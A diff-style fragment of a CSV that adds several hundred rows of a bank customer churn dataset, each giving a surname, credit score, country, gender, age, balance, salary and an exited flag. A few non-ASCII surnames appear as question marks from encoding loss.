+4016,15631603,Ponomaryova,813,France,Male,32,1,122889.88,1,1,1,26476.18,0 +4017,15789753,Millar,480,France,Male,40,6,148790.61,1,0,1,79329.7,0 +4018,15678034,Grosse,811,France,Male,46,9,180226.24,1,1,0,13464.64,1 +4019,15690209,Hsiao,715,Germany,Female,32,3,104857.19,2,1,0,114149.8,0 +4020,15592091,Belbin,620,Spain,Male,31,2,166833.86,2,1,1,135171.6,0 +4021,15647453,Ifeajuna,721,France,Male,42,4,102936.72,1,0,0,1187.88,0 +4022,15697100,Wright,772,Germany,Female,48,6,108736.52,1,1,0,184564.67,1 +4023,15811290,Komarova,680,Germany,Male,44,0,129974.79,2,1,1,33391.38,0 +4024,15629187,Titheradge,535,France,Male,38,8,85982.07,1,1,0,9238.35,0 +4025,15758073,Dellucci,655,France,Female,20,7,134397.61,1,0,0,28029.54,0 +4026,15640769,Hobbs,660,France,Male,63,8,137841.53,1,1,1,42790.29,0 +4027,15606641,Beggs,762,Germany,Male,56,10,100260.88,3,1,1,77142.42,1 +4028,15718280,Luffman,662,Germany,Male,39,5,139822.11,2,1,1,146219.9,0 +4029,15764335,Caldwell,463,Germany,Female,41,8,123151.51,2,1,0,70127.93,0 +4030,15634218,Mancini,501,Germany,Male,27,4,95331.83,2,1,0,132104.76,0 +4031,15808760,Evseev,603,Spain,Female,42,6,0,1,1,1,90437.87,0 +4032,15648461,Hs?eh,688,Spain,Male,37,7,138162.41,2,1,1,113926.31,0 +4033,15593555,Chinedum,430,France,Male,38,9,0,2,1,1,12050.77,0 +4034,15569079,Hagins,632,Germany,Male,48,6,126066.26,1,1,0,64345.61,1 +4035,15800736,Kirwan,601,Spain,Female,42,4,96763.89,1,1,1,199242.65,0 +4036,15792607,Little,769,France,Female,38,2,0,2,0,0,75578.67,0 +4037,15640034,Milligan,551,France,Male,42,2,139561.46,1,1,0,43435.43,1 +4038,15807563,Ch'iu,841,France,Female,52,5,0,1,0,0,183239.71,1 +4039,15684461,McKay,469,Spain,Female,31,6,0,1,1,0,146213.75,1 +4040,15580134,Crawford,479,Spain,Male,27,2,172463.45,1,1,1,40315.27,0 +4041,15679075,Onyemere,701,France,Male,37,8,107798.85,1,1,0,16966.73,0 +4042,15742504,Azuka,593,France,Male,36,2,70181.48,2,1,0,80608.12,0 +4043,15567328,Ch'en,738,Spain,Male,38,5,177997.07,1,0,1,19233.41,0 +4044,15698294,Royster,635,Spain,Male,31,1,0,2,1,0,135382.23,0 +4045,15607142,Parkin,658,France,Male,32,8,0,1,1,1,80410.68,0 +4046,15738516,Kozlova,687,Spain,Female,36,5,0,1,1,0,17696.22,0 +4047,15806403,Hu,650,France,Male,37,9,0,2,1,0,17974.08,0 +4048,15656707,Ma,720,Spain,Male,21,2,123200.78,1,1,1,180712.28,0 +4049,15653715,Coates,602,France,Female,63,7,0,2,1,1,56323.21,0 +4050,15806184,Burns,618,Spain,Male,33,4,0,2,1,1,77550.18,0 +4051,15585734,Gouger,803,Germany,Male,41,9,137742.9,2,1,1,166957.82,0 +4052,15725639,Ignatyev,793,France,Female,63,9,116270.72,1,1,1,184243.25,0 +4053,15618401,Douglas,616,Germany,Male,41,10,113220.2,2,1,1,114072.91,0 +4054,15785385,Fiorentino,550,Spain,Male,51,5,0,2,1,0,153917.41,0 +4055,15734762,Ignatiev,602,France,Female,56,3,115895.22,3,1,0,4176.17,1 +4056,15767129,Munz,452,France,Female,60,6,121730.49,1,1,1,142963.29,0 +4057,15797204,Paling,655,Spain,Female,28,3,113811.85,2,0,1,76844.23,0 +4058,15769272,Clark,510,France,Female,26,6,136214.08,1,0,0,159742.33,0 +4059,15771966,Akobundu,557,France,Male,39,8,146200.01,1,1,0,177944.64,0 +4060,15691952,Fanucci,676,France,Male,37,10,106242.67,1,1,1,166678.28,0 +4061,15593250,Hsiao,640,France,Female,29,4,0,2,1,0,44904.26,0 +4062,15605333,Clancy,529,Spain,Male,31,6,0,1,1,0,10625.91,0 +4063,15800083,Macdonald,559,France,Male,45,8,24043.45,1,0,1,169781.45,1 +4064,15575691,Palerma,689,France,Female,58,5,0,2,0,1,49848.86,0 +4065,15689886,Holden,626,Germany,Male,39,10,132287.92,3,1,1,51467.92,1 +4066,15809838,Moore,697,Spain,Male,30,1,0,2,0,0,735.79,0 +4067,15736154,Gallo,823,France,Female,44,1,0,2,0,1,182495.7,0 +4068,15767391,Otutodilinna,565,Germany,Female,32,4,90322.99,2,0,1,118740.37,0 +4069,15704910,Rios,631,Spain,Male,23,3,0,2,1,0,13813.24,0 +4070,15656613,McGregor,646,France,Female,34,3,131283.11,1,0,0,130500.65,0 +4071,15611551,Hill,676,Spain,Male,48,1,131659.59,2,0,1,14152.15,0 +4072,15732430,H?,850,Spain,Female,54,4,120952.74,1,1,0,66963.15,0 +4073,15741865,Ferrari,810,France,Female,38,9,153166.17,1,1,1,93261.69,0 +4074,15634143,Onyemauchechi,581,Spain,Male,30,0,53291.86,1,0,0,196582.28,0 +4075,15609676,Nkemakonam,718,France,Female,35,2,167924.95,1,1,0,43024.64,0 +4076,15761600,White,713,France,Male,43,5,86394.14,1,1,1,130001.13,0 +4077,15676404,Kirillov,672,France,Female,50,1,0,1,1,0,12106.82,1 +4078,15659236,Iadanza,781,Spain,Male,33,3,0,2,1,1,42556.33,0 +4079,15690440,Stiles,656,Spain,Male,47,1,0,2,1,1,197961.93,0 +4080,15694601,Ankudinov,583,France,Female,31,4,158978.79,1,1,0,12538.92,0 +4081,15812262,Gaffney,808,Germany,Female,37,2,100431.84,1,1,0,35140.49,1 +4082,15762821,Udinese,721,Spain,Male,33,5,0,2,0,1,117626.9,0 +4083,15669301,Romani,778,Germany,Female,29,6,150358.97,1,1,0,62454.01,1 +4084,15672640,Kambinachi,850,Spain,Female,45,4,114347.85,2,1,1,109089.04,0 +4085,15750458,Hawkins,693,France,Female,39,4,0,2,0,1,142331.39,0 +4086,15627251,Tsui,520,France,Male,34,4,134007.9,1,1,1,193209.11,0 +4087,15764294,Ifeatu,759,Germany,Male,31,4,98899.91,1,1,1,47832.82,0 +4088,15659962,McIntosh,637,France,Male,60,3,0,2,1,1,70174.03,0 +4089,15788536,Armit,755,Germany,Male,40,2,137430.82,2,0,0,176768.59,0 +4090,15596979,Fang,662,France,Female,47,6,0,2,1,1,129392.75,0 +4091,15681220,Chou,503,France,Female,37,8,0,2,1,1,97893.32,0 +4092,15635097,Okeke,599,Germany,Male,39,2,188976.89,2,0,1,176142.09,0 +4093,15780779,Ramsbotham,583,Spain,Female,40,4,0,2,1,0,114093.73,0 +4094,15798470,Scannell,764,Spain,Female,48,1,75990.97,1,1,0,158323.81,1 +4095,15760880,Edman,513,France,Male,29,10,0,2,0,1,25514.77,0 +4096,15616929,De Luca,730,Spain,Male,62,5,112181.08,1,0,1,61513.87,0 +4097,15758775,Vasilyeva,820,Spain,Male,34,10,97208.46,1,1,1,59553.34,0 +4098,15663386,Tuan,597,Spain,Female,26,7,0,2,1,0,110253.2,0 +4099,15621267,Ejimofor,637,France,Male,32,5,0,1,0,0,148769.08,0 +4100,15720509,Hs?,696,France,Male,34,9,150856.79,1,0,1,8236.78,0 +4101,15693322,Shaver,635,Germany,Female,37,9,146748.07,1,0,1,11407.58,0 +4102,15589544,Wallis,673,Spain,Female,57,4,0,2,1,1,49684.09,0 +4103,15772030,Coupp,662,Spain,Male,33,3,0,2,0,1,68064.83,0 +4104,15693337,Perry,683,Spain,Male,41,0,148863.17,1,1,1,163911.32,0 +4105,15676571,Bezrukova,850,France,Male,55,6,0,1,1,0,944.41,1 +4106,15701392,Lucciano,815,Spain,Male,28,6,0,2,0,1,185547.71,0 +4107,15741092,Ingram,671,Spain,Male,34,10,153360.02,1,1,0,140509.86,0 +4108,15643865,Lo Duca,601,France,Female,40,3,92055.36,1,0,1,164652.02,1 +4109,15769389,Wan,709,Germany,Female,39,9,124723.92,1,1,0,73641.86,0 +4110,15807768,Cohn,702,Germany,Male,28,1,103033.83,1,1,1,40321.87,0 +4111,15801630,Yen,558,France,Male,40,6,0,2,1,0,173844.89,0 +4112,15705034,Peng,691,Spain,Male,40,1,0,2,1,1,145613.17,0 +4113,15763107,Little,700,France,Female,30,9,0,1,1,1,174971.64,0 +4114,15667085,Meng,667,France,Male,33,4,0,2,1,1,131834.75,0 +4115,15647008,Adams,624,Germany,Male,54,3,116726.22,1,1,0,110498.1,1 +4116,15584505,Hill,580,France,Female,23,5,113923.81,2,0,0,196241.43,0 +4117,15748068,Boyle,571,Spain,Female,31,3,0,2,1,1,194667.92,0 +4118,15663964,Pagnotto,561,France,Male,37,5,0,2,1,0,83093.25,0 +4119,15782311,Feng,529,France,Male,28,9,0,2,1,1,52545.24,0 +4120,15588197,Endrizzi,670,France,Male,36,7,0,2,0,0,59571.5,0 +4121,15610105,Shen,666,Germany,Female,21,1,121827.43,2,1,1,99818.31,0 +4122,15606133,Lay,628,Spain,Male,42,7,0,2,0,1,172967.87,0 +4123,15599403,Wu,577,France,Male,60,10,125389.7,2,1,1,178616.73,0 +4124,15648225,Shephard,652,Spain,Female,38,1,103895.31,1,0,1,159649.44,0 +4125,15608406,Schmidt,678,France,Male,26,5,111128.04,1,1,0,60941.27,1 +4126,15633378,Davidson,692,Spain,Female,49,9,0,2,1,0,178342.63,0 +4127,15664759,Lamb,675,Spain,Male,32,10,0,2,1,0,191545.65,0 +4128,15625545,Hussey,712,Spain,Male,52,9,0,1,1,1,117977.45,1 +4129,15772148,Ferrari,639,Germany,Female,37,5,151242.48,1,0,1,49637.65,0 +4130,15810829,Macfarlan,618,France,Male,48,7,0,1,1,0,13921.82,1 +4131,15731669,Szabados,554,France,Male,39,2,129709.62,1,1,0,173197.12,0 +4132,15738634,Yuan,533,France,Male,47,9,83347.25,1,1,1,137696.25,0 +4133,15737571,Matveyev,540,Spain,Female,28,6,84121.04,1,0,1,80698.54,0 +4134,15667602,Cheng,704,Spain,Male,33,3,0,2,1,0,73018.74,0 +4135,15684147,Palerma,678,France,Male,43,5,102338.19,1,1,1,79649.62,0 +4136,15789874,Wang,712,France,Female,29,3,87375.78,2,0,0,166194.53,0 +4137,15757952,Teng,651,France,Male,44,2,0,3,1,0,102530.35,1 +4138,15698732,K'ung,789,Germany,Male,51,3,104677.09,1,1,0,74265.38,0 +4139,15714355,Sinclair,775,Germany,Male,32,8,121669.23,1,0,1,125898.39,0 +4140,15599090,McKelvey,564,Germany,Male,40,7,108407.34,1,1,1,83681.2,0 +4141,15762048,Yuan,841,Germany,Female,33,7,154969.79,2,1,1,99505.75,0 +4142,15790596,Moran,850,Spain,Male,39,0,141829.67,1,1,1,92748.16,0 +4143,15609623,McConnell,637,France,Female,63,5,0,1,1,0,28092.77,1 +4144,15711901,Iheatu,500,France,Male,45,2,109162.82,1,1,1,126145.08,0 +4145,15779809,Giordano,655,France,Male,44,8,87471.63,1,0,1,188593.98,0 +4146,15729018,Alexander,666,France,Female,33,2,147229.65,1,1,1,56410.17,0 +4147,15698246,Gordon,658,France,Female,24,2,0,2,1,1,84694.49,0 +4148,15712409,Tang,749,Germany,Male,66,6,182532.23,2,1,1,195429.92,0 +4149,15758306,T'an,654,France,Male,32,6,0,2,1,1,137898.57,0 +4150,15621435,Davies,623,France,Female,39,1,160903.2,1,0,0,78774.36,0 +4151,15566295,Sanders,761,France,Female,33,6,138053.79,2,1,0,148779.41,0 +4152,15569098,Winifred,627,France,Male,44,6,153548.12,1,0,0,35300.08,1 +4153,15662532,Holmes,757,Germany,Male,31,8,149085.9,2,1,1,197077.36,0 +4154,15664001,Riddle,695,Germany,Female,53,8,95231.91,1,0,0,70140.8,1 +4155,15703437,Chinedum,726,France,Male,34,3,0,2,1,0,196288.46,0 +4156,15708003,Aleksandrova,587,Spain,Male,41,8,85109.21,1,1,0,1557.82,0 +4157,15599452,Conti,605,Germany,Female,43,8,125338.8,2,1,0,23970.13,0 +4158,15719793,Watson,850,Spain,Male,62,5,0,2,1,1,180243.56,0 +4159,15771580,Davison,850,France,Female,38,0,106831.69,1,0,1,148977.72,0 +4160,15732268,Cook,751,France,Male,29,3,159597.45,1,1,0,39934.41,0 +4161,15722350,Udinesi,627,Germany,Female,37,7,147361.57,1,1,1,133031.96,0 +4162,15611371,Siciliani,736,France,Male,43,4,176134.54,1,1,1,52856.88,0 +4163,15673584,Bell,652,France,Female,74,5,0,2,1,1,937.15,0 +4164,15636396,Jackson,627,France,Female,35,7,0,2,0,1,193022.44,0 +4165,15706170,Onyemere,636,France,Male,34,1,84055.43,1,0,0,37490.84,0 +4166,15725478,McClemans,775,France,Male,60,7,0,2,1,1,111558.7,0 +4167,15654562,Ma,850,Spain,Female,45,5,174088.3,4,1,0,5669.31,1 +4168,15737509,Morrison,850,Spain,Male,34,8,199229.14,1,0,0,68106.29,0 +4169,15690796,Chambers,516,France,Male,37,8,0,1,1,0,101834.58,0 +4170,15716728,Basedow,513,Spain,Female,42,10,0,2,0,1,73151.25,0 +4171,15605665,Nwora,673,Germany,Female,69,3,78833.15,2,1,1,37196.15,0 +4172,15748481,Howey,564,France,Female,27,6,0,1,0,0,7819.76,0 +4173,15757777,Pai,636,France,Female,35,2,0,2,1,1,23129.46,0 +4174,15747808,Ni,712,France,Male,29,3,102540.61,1,1,1,189680.79,0 +4175,15810593,Forbes,568,France,Male,51,4,0,3,1,1,66586.56,0 +4176,15693376,Baryshnikov,741,Spain,Male,43,0,0,2,1,1,2920.63,1 +4177,15579808,Kramer,754,Germany,Female,39,8,129401.87,1,1,1,87684.93,0 +4178,15598275,Sochima,709,France,Female,32,7,0,2,1,1,199418.02,0 +4179,15737080,Marchesi,510,France,Female,32,1,0,2,0,1,28515.17,0 +4180,15668580,Todd,716,Spain,Male,33,2,0,2,1,1,92916.53,0 +4181,15569438,Mai,607,Germany,Male,36,10,106702.94,2,0,0,198313.69,0 +4182,15675842,Pinto,656,Spain,Male,26,4,139584.57,1,1,0,36308.93,0 +4183,15577587,Reynolds,550,Germany,Male,52,5,121016.23,1,1,1,41730.37,1 +4184,15625592,Sal,486,France,Male,26,2,0,2,1,1,31399.4,0 +4185,15635141,Miller,598,Germany,Male,59,8,118210.42,2,0,0,60192.14,1 +4186,15642570,Scott,675,Spain,Male,35,8,0,2,1,0,29062.25,0 +4187,15702175,Herrin,755,France,Female,29,4,148654.84,2,1,1,28805.09,0 +4188,15677785,Stevenson,656,Spain,Male,32,5,136963.12,1,1,0,133814.28,0 +4189,15786153,McKenzie,644,Germany,Male,47,9,137774.11,2,1,0,151902.78,0 +4190,15759499,Gardiner,598,France,Female,32,4,111156.52,1,1,1,167376.26,0 +4191,15659568,Atkinson,850,Spain,Female,31,3,121237.65,1,1,1,31022.56,0 +4192,15715597,Onyemauchechi,679,France,Male,36,1,97234.58,1,1,0,188997.08,0 +4193,15610147,Ross,632,France,Male,60,2,0,2,0,1,2085.32,0 +4194,15802362,Newland,550,Spain,Male,45,0,0,2,0,1,70399.71,0 +4195,15660524,Hu,572,Germany,Female,54,9,97382.53,1,1,1,195771.95,0 +4196,15747168,Sanders,626,Germany,Female,47,2,103108.8,1,0,1,166475.44,1 +4197,15796910,Tsui,625,Spain,Female,57,7,0,1,0,0,84106.17,1 +4198,15707674,Marino,515,France,Female,58,2,131852.81,1,1,0,81436.68,1 +4199,15565706,Akobundu,612,Spain,Male,35,1,0,1,1,1,83256.26,1 +4200,15587596,Morrison,628,Spain,Female,39,8,107553.33,1,1,0,117523.41,0 +4201,15751943,Mai,529,Spain,Female,43,5,0,2,0,0,79476.63,0 +4202,15621227,Hs?eh,668,Germany,Female,46,7,161806.09,1,1,1,173052.19,0 +4203,15757588,Wright,526,France,Male,30,9,0,2,0,0,100995.68,0 +4204,15640922,Demaine,791,France,Female,52,7,0,1,1,1,122782.5,0 +4205,15567557,Chien,573,France,Male,27,2,128243.03,1,1,1,11631.34,0 +4206,15670103,Dickinson,565,France,Female,38,5,126645.13,1,1,1,168303.55,0 +4207,15720929,Kazantseva,604,France,Female,47,8,62094.71,3,0,0,9308.1,1 +4208,15732774,Marchesi,656,France,Male,37,7,112291.34,1,1,0,153157.97,0 +4209,15628558,Pan,447,France,Female,44,5,89188.83,1,1,1,75408.24,0 +4210,15729201,Harewood,682,France,Male,55,9,0,1,1,0,153356.8,1 +4211,15731117,Kao,437,Spain,Male,28,2,109161.25,1,1,0,152987.42,0 +4212,15615207,Yeh,792,Spain,Male,47,0,0,1,1,1,5557.88,1 +4213,15773512,Bischof,627,Spain,Female,25,4,0,1,1,1,194313.93,0 +4214,15572145,Ashton,767,France,Female,34,8,0,2,1,0,94767.77,0 +4215,15642710,Napolitani,686,France,Male,26,7,0,2,1,0,1540.89,0 +4216,15574213,Wilson,789,France,Female,53,1,158271.74,1,1,1,5036.39,1 +4217,15718852,Uren,794,France,Male,56,9,96951.21,1,1,1,71776.76,0 +4218,15583840,Okechukwu,587,Germany,Male,35,5,121863.61,1,1,1,23481.69,1 +4219,15782418,Ku,589,Germany,Female,19,9,83495.11,1,1,1,143022.31,1 +4220,15813504,Onyemachukwu,543,Germany,Female,25,1,146566.01,1,0,1,161407.48,0 +4221,15711314,Kao,589,Spain,Female,45,1,0,1,0,0,125939.22,1 +4222,15621064,Russell,701,Germany,Male,23,5,186101.18,2,1,1,76611.33,0 +4223,15627847,Woronoff,850,France,Male,40,6,0,1,1,0,136985.08,1 +4224,15588090,Ferri,726,Germany,Female,51,8,107494.86,2,1,0,140937.91,1 +4225,15735270,Ruggiero,767,Spain,Male,47,2,0,1,1,0,48161.18,1 +4226,15671804,Wilding,648,Spain,Male,36,8,146943.38,2,1,1,130041.45,0 +4227,15753215,Yashina,651,Spain,Female,36,8,0,2,1,0,91652.43,0 +4228,15789941,Yevseyev,633,France,Female,36,6,125130.28,1,0,0,125961.48,0 +4229,15691061,Rapuokwu,740,France,Female,37,9,0,2,1,1,73225.31,0 +4230,15808326,Maslov,592,France,Female,34,9,0,2,1,1,20460.2,0 +4231,15566660,Cole,670,France,Female,41,10,0,3,1,0,81602.02,0 +4232,15778947,Sullivan,628,France,Male,36,3,0,2,1,1,8742.91,0 +4233,15632977,Hsiao,745,France,Male,47,5,0,2,0,0,145789.71,0 +4234,15591747,Rossi,705,France,Male,32,3,0,2,0,0,129576.99,0 +4235,15567335,Allsop,559,France,Female,42,7,0,2,1,1,190040.29,0 +4236,15609299,Chamberlain,595,France,Male,29,6,150685.79,1,1,0,87771.06,0 +4237,15669945,Jackson,492,France,Male,35,4,141359.37,2,1,0,39519.53,0 +4238,15736271,Dumetochukwu,498,France,Female,29,9,0,1,1,0,190035.83,0 +4239,15710390,Uspensky,655,France,Female,39,6,94631.26,2,1,1,148948.52,0 +4240,15756481,Garcia,636,France,Female,39,3,118336.14,1,1,0,184691.77,0 +4241,15736730,Soto,634,France,Female,45,2,0,1,1,1,143458.31,0 +4242,15626040,McDonald,793,Spain,Male,63,0,0,2,0,1,27166.75,0 +4243,15746553,Castles,526,Germany,Male,50,5,124233.24,1,0,1,159456.87,1 +4244,15622518,Stephenson,768,France,Female,26,5,51116.26,1,1,1,70454.79,1 +4245,15684908,Davidson,540,Germany,Male,64,1,91869.69,1,0,1,95421,0 +4246,15569446,Tu,732,France,Female,34,8,122338.43,2,1,0,187985.85,0 +4247,15777504,Colbert,617,France,Female,30,8,0,1,1,1,92621.9,0 +4248,15677906,Owens,637,Spain,Female,54,5,0,1,0,1,150836.98,0 +4249,15703292,Chimezie,573,France,Male,26,8,86270.93,2,1,1,90177.3,0 +4250,15712938,Genovese,531,France,Male,44,3,0,2,1,1,34416.79,0 +4251,15631359,Daluchi,489,France,Female,38,5,117289.92,1,0,0,85231.88,0 +4252,15720847,Sheffield,601,France,Male,35,2,0,2,1,1,118983.18,0 +4253,15787830,Bailey,452,Germany,Male,33,7,153663.27,1,1,0,111868.23,0 +4254,15599869,Dyson,728,Spain,Female,29,1,0,1,1,1,83056.22,0 +4255,15592078,Davide,590,Germany,Female,27,8,123599.49,2,1,0,1676.92,0 +4256,15596228,Uwaezuoke,490,France,Male,29,4,0,2,1,0,32089.57,0 +4257,15578462,Hs?,596,Spain,Female,76,9,134208.25,1,1,1,13455.43,0 +4258,15756894,Onwuka,635,France,Male,29,1,0,1,0,1,24865.54,0 +4259,15796167,Flores,782,Germany,Male,35,7,98556.89,2,1,0,117644.36,0 +4260,15664808,Nicoll,790,Spain,Female,37,3,0,3,0,0,98897.32,0 +4261,15664555,Hughes,587,France,Male,40,2,0,4,0,1,106174.7,1 +4262,15607278,Romano,794,Spain,Female,46,8,134593.79,1,1,1,46386.37,0 +4263,15585222,Norman,515,France,Male,41,8,0,2,1,1,185054.14,0 +4264,15750299,Davison,746,Spain,Male,24,10,68781.82,1,0,1,47997.39,0 +4265,15761294,Manna,667,Germany,Female,56,8,137464.04,1,1,0,130846.79,1 +4266,15810454,Reed,709,France,Male,32,4,147307.91,1,0,1,40861.55,0 +4267,15673984,Daniels,536,France,Female,35,8,0,1,1,0,171840.24,1 +4268,15609319,Hunt,711,France,Female,41,3,145754.91,1,1,1,101455.07,0 +4269,15709941,Feng,753,France,Male,46,8,0,3,1,0,90747.94,1 +4270,15580252,Waters,748,France,Male,44,4,112610.77,1,0,1,2048.55,0 +4271,15741275,Yuan,623,France,Female,57,7,71481.79,2,1,1,84421.34,0 +4272,15707132,Yudin,465,France,Male,33,5,0,2,0,1,78698.09,0 +4273,15600708,Calabresi,640,Spain,Female,34,3,77826.8,1,1,1,168544.85,0 +4274,15804787,Onyemauchechukwu,562,France,Male,75,5,87140.85,1,1,1,39351.64,0 +4275,15690021,Martin,502,Germany,Female,42,0,132002.7,1,0,1,28204.98,1 +4276,15763895,Hung,536,France,Male,32,7,178011.5,2,1,0,22375.14,0 +4277,15623478,Maslova,670,Germany,Female,32,4,102954.68,2,0,1,134942.45,0 +4278,15797910,Zetticci,775,Germany,Male,51,2,123783.25,1,1,1,134901.57,0 +4279,15577751,Pisano,759,Germany,Male,30,4,101802.67,1,0,0,8693.8,0 +4280,15781777,Sutherland,604,France,Male,33,3,148659.48,1,0,0,42437.75,0 +4281,15740527,Lai,766,Germany,Female,62,7,142724.48,1,0,1,5893.23,1 +4282,15721251,Watson,554,Spain,Female,41,4,112152.89,1,0,1,36242.19,0 +4283,15602994,Gorbunov,487,France,Female,53,10,89550.85,1,0,1,90076.85,0 +4284,15750769,Padovano,725,France,Male,35,7,75915.75,1,1,0,150507.43,0 +4285,15740175,Raynor,732,Germany,Female,42,2,118889.66,2,0,0,87422.15,0 +4286,15679968,Ting,623,France,Male,40,5,118788.57,1,1,0,192867.4,0 +4287,15694404,Eberegbulam,781,France,Female,42,3,156555.54,1,1,1,175674.01,0 +4288,15657529,Chin,714,Germany,Male,53,1,99141.86,1,1,1,72496.05,1 +4289,15762882,Manna,577,Germany,Female,31,4,61211.18,1,1,1,145250.43,0 +4290,15642579,Chang,731,Spain,Female,37,1,128932.4,1,1,1,180712.52,0 +4291,15598884,Kent,650,Spain,Female,23,5,0,1,1,1,180622.43,0 +4292,15770185,Buckley,779,France,Male,32,10,80728.15,1,1,0,86306.75,0 +4293,15800287,Micco,706,Spain,Female,46,2,127660.46,2,1,0,150156.82,1 +4294,15665861,Avdeev,733,Spain,Male,44,3,106070.89,1,0,1,101617.43,0 +4295,15662203,Bremer,579,Germany,Female,42,3,137560.38,2,1,1,85424.34,0 +4296,15616454,Davidson,476,Germany,Female,34,8,111905.43,1,0,1,197221.81,1 +4297,15702788,Gadsdon,775,France,Male,40,9,126212.64,1,1,0,70196.57,0 +4298,15778149,Connolly,538,Spain,Male,68,9,0,2,1,0,110440.5,1 +4299,15680001,McDonald,602,France,Male,38,7,111835.94,2,1,0,124389.61,0 +4300,15711991,Chiawuotu,615,France,Male,30,8,0,2,0,0,3183.15,0 +4301,15633834,Milne,700,Germany,Female,28,3,99705.69,2,0,0,146723.72,0 +4302,15765266,Fleming,615,France,Male,32,1,0,2,0,0,2139.25,0 +4303,15791867,Hicks,544,Germany,Male,44,2,108895.93,1,0,0,69228.2,1 +4304,15675380,Logan,573,Spain,Male,56,3,154669.77,1,0,1,115462.27,1 +4305,15770576,Hammond,555,Spain,Male,50,7,128061,2,1,1,62375.1,0 +4306,15775294,Weber,692,France,Female,31,2,0,2,1,0,91829.17,1 +4307,15727059,Lettiere,476,France,Female,40,4,0,2,0,0,182547.04,0 +4308,15702499,Schnaars,770,Spain,Male,46,9,190678.02,1,1,1,14725.36,0 +4309,15611699,Tao,641,France,Female,40,7,0,1,1,0,126996.67,0 +4310,15654000,Algarin,705,France,Female,35,5,0,1,1,0,133991.11,1 +4311,15657881,Onyemere,784,France,Male,38,5,136712.91,1,0,1,169920.92,0 +4312,15719991,Korovina,727,Spain,Female,52,1,154733.97,1,1,0,80259.67,1 +4313,15720687,Chidubem,576,France,Female,41,4,112609.91,1,0,0,191035.18,1 +4314,15687079,King,646,Spain,Male,69,10,115462.44,1,1,0,40421.87,0 +4315,15582276,Greco,638,France,Male,34,5,133501.36,1,0,1,155643.04,0 +4316,15763980,Beneventi,632,Germany,Male,30,1,58668.02,1,1,1,78670.52,0 +4317,15720774,P'eng,850,Spain,Male,44,7,89118.26,1,1,0,104240.77,1 +4318,15592194,Metcalf,492,France,Female,28,9,0,2,1,0,95957.09,0 +4319,15803685,Greco,673,Germany,Female,77,10,76510.52,2,0,1,59595.66,0 +4320,15759456,Lupton,609,Spain,Male,34,7,140694.78,2,1,0,46266.63,0 +4321,15611544,Ibeamaka,701,Germany,Male,36,7,95448.32,2,1,0,189085.07,0 +4322,15794257,Hsiung,651,France,Male,34,4,91562.99,1,1,1,123954.15,0 +4323,15681697,Rueda,508,France,Male,31,8,72541.48,1,1,0,129803.08,0 +4324,15579566,Li Fonti,616,Spain,Female,43,3,120867.18,1,1,0,18761.92,1 +4325,15577970,Alexeeva,489,France,Male,34,5,0,1,0,0,43540.59,0 +4326,15727489,Madueke,567,Spain,Female,45,1,157320.51,1,1,0,62193.92,0 +4327,15764284,Torres,714,Spain,Male,27,3,0,3,1,1,129130.09,0 +4328,15581811,Chukwubuikem,678,Germany,Female,30,1,139676.95,2,0,1,16146,0 +4329,15622527,Holloway,581,France,Female,55,6,0,1,1,1,22442.13,0 +4330,15753362,Evdokimov,748,Spain,Male,60,3,0,2,1,1,78194.37,0 +4331,15666652,Anayolisa,781,France,Female,19,3,0,2,1,1,124297.32,0 +4332,15789714,Semmens,691,Spain,Male,21,3,103000.94,1,1,1,104648.58,0 +4333,15771543,Tu,507,Germany,Male,31,2,134237.07,1,1,1,166423.66,1 +4334,15748327,Anderson,724,Germany,Male,34,6,118235.7,2,0,0,157137.23,0 +4335,15754649,Fang,705,Spain,Female,57,3,0,2,1,1,34134.14,0 +4336,15810460,Fanucci,708,Spain,Female,64,5,0,3,0,1,112520.07,1 +4337,15771742,Boyle,580,Germany,Male,38,9,115442.19,2,1,0,128481.5,1 +4338,15642160,Milanesi,850,France,Male,38,5,0,2,1,0,16491.64,0 +4339,15798439,Davidson,714,Spain,Male,25,2,0,1,1,1,132979.43,0 +4340,15605293,McKay,559,France,Female,43,1,0,2,1,1,196645.87,0 +4341,15692631,Bogdanova,577,Spain,Female,44,8,115557,1,0,1,127506.76,0 +4342,15665376,Lavrentiev,647,Germany,Female,35,3,166518.63,2,1,0,147930.46,0 +4343,15772412,Corser,554,Spain,Male,30,6,135370.12,1,1,1,179689.05,1 +4344,15654577,Alexeeva,549,Germany,Male,54,5,92877.33,1,1,0,2619.64,1 +4345,15585427,Madueke,528,France,Female,26,10,102073.67,2,0,0,166799.93,0 +4346,15584536,Barber,720,Germany,Male,46,3,97042.6,1,1,1,133516.51,1 +4347,15585853,McCardle,743,Spain,Male,41,7,0,1,1,0,163736.09,1 +4348,15645271,Radcliffe-Brown,615,Germany,Male,24,8,108528.07,2,0,0,179488.41,1 +4349,15579387,Ni,635,Germany,Female,44,2,79064.85,2,0,1,113291.75,0 +4350,15623107,Chukwumaobim,686,Spain,Male,45,3,74274.87,3,1,0,64907.48,1 +4351,15754072,Dennis,840,Spain,Female,36,6,0,2,1,0,141364.27,0 +4352,15666163,Hayward,695,France,Male,43,1,100421.1,1,1,1,101141.28,0 +4353,15765192,Jones,564,France,Male,26,7,84006.88,2,0,0,183490.99,0 +4354,15804822,L?,805,France,Female,31,4,0,2,1,0,4798.12,0 +4355,15612893,Nelson,558,Spain,Male,45,4,0,1,1,0,131807.14,0 +4356,15593636,Cardus,657,France,Female,39,4,80293.81,1,1,0,97192.76,0 +4357,15693326,Whitehouse,641,France,Female,42,7,125437.14,2,0,0,164128.58,0 +4358,15809901,Johnstone,755,France,Male,36,8,0,2,1,0,176809.87,0 +4359,15759751,Tsui,483,France,Male,48,1,0,2,1,1,110059.38,0 +4360,15605425,Chia,545,Germany,Female,44,2,127536.44,1,1,0,108398.63,0 +4361,15801934,Su,678,France,Male,66,8,0,2,1,1,47117.03,0 +4362,15592000,Calabresi,781,Germany,Female,48,9,82794.18,1,1,0,124720.68,1 +4363,15618695,Ts'ui,571,Spain,Female,22,3,108117.1,1,0,1,53328.7,0 +4364,15637110,McCulloch,634,Spain,Female,35,10,0,1,1,0,82634.41,0 +4365,15727408,Koo,523,Germany,Male,27,8,61688.61,2,1,0,147059.16,0 +4366,15716328,Miller,501,France,Female,40,2,0,2,0,0,141946.92,0 +4367,15669060,Woolnough,662,France,Male,74,6,0,2,1,0,123583.85,0 +4368,15675854,Douglas,573,Spain,Male,50,0,159304.07,1,0,1,155915.24,1 +4369,15621116,Fang,648,Germany,Male,33,5,138664.24,1,1,0,29076.27,0 +4370,15781495,Munro,662,France,Female,22,2,126362.57,2,1,1,97382.8,0 +4371,15740470,Vinogradov,725,France,Male,39,4,160652.45,2,1,0,57643.55,0 